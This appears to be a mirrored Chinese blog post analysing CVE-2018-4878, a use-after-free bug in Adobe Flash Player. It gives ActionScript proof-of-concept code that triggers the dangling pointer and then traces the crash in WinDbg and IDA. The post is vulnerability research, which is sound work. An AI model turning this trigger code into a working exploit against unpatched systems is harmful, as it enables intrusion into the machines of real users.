zoukankan      html  css  js  c++  java
  • CVE-2018-4878

    0x00前言

    该漏洞影响 Flash Player 版本28.0.0.137以及之前的所有版本

    0x01 poc

    Poc

    这里只列出关键代码

    public function triggeruaf() : void {
    
                  var sdk :PSDK = null;
    
                  var dispatch:PSDKEventDispatcher = null;
    
     
                  sdk = PSDK.pSDK;
    
                  dispatch = sdk.createDispatcher();
    
     
                  this.mediaplayer = sdk.createMediaPlayer(dispatch);
    
                  this.listener = new MyListener();
    
                  this.mediaplayer.drmManager.initialize(this.listener);
    
                  this.listener = null;
    
           }
    
                 
           public function exploit():void {
    
                  this.triggeruaf();
    
                  try {
    
                         new LocalConnection().connect("test");
    
                         new LocalConnection().connect("test");
    
                  } catch (e:Error) {
    
                  }
    
           }

    主要就是以一个listener类实例为参数初始化了一个drmManager对象,之后就将listener类实例赋值为NULL,其中listener类为

    用FlashDevelop编译后生成Poc.swf

    用Windbg附加IE打开Poc.swf,程序崩溃

    可见直接使用ecx传递了一个对象

    根据汇编代码可断定,ecx偏移0x0c处为某对象指针,而此对象已经全是0,造成了悬挂指针。再看poc脚本中,把一个MyListener(实现了DRMOperationCompleteListener接口)类型对象赋值null。所以可猜测ecx->0x0c为MyListener对象。

    用ida找到触发漏洞的函数

    函数在对象的虚表中

    sub_1036E28A即触发崩溃的方法。

    根据虚函数表引用找到对象赋值方法,即脚本中的initialize,这里是函数sub_1037AB11

    重新附加IE,在initialize函数下断,打开poc.swf,程序在sub_1037AB11处断下

    按F10单步执行

    可以看到esi + 0x0c 处为DRMOperationCompleteListener实例指针,它里面的内容此时不为0

    按g让程序执行,程序崩溃

    结合poc代码我们可以得出结论:MyListener实例在被置null之后被垃圾回收,而在对象中还留存着实例指针,因此存在悬挂指针问题。

  • 相关阅读:
    Python-sokect 示例
    Python装饰器
    javascript权威指南第22章高级技巧
    javascript权威指南第21章 Ajax和Comet
    javascript权威指南第20章 JSON
    javascript权威指南第17章 错误异常处理
    javascript权威指南第16章 HTML5脚本编程
    Bootstrap 表单布局示例
    javascript权威指南第15章 使用Canvas绘图
    贪心算法学习笔记
  • 原文地址:https://www.cnblogs.com/elvirangel/p/8576444.html
Copyright © 2011-2022 走看看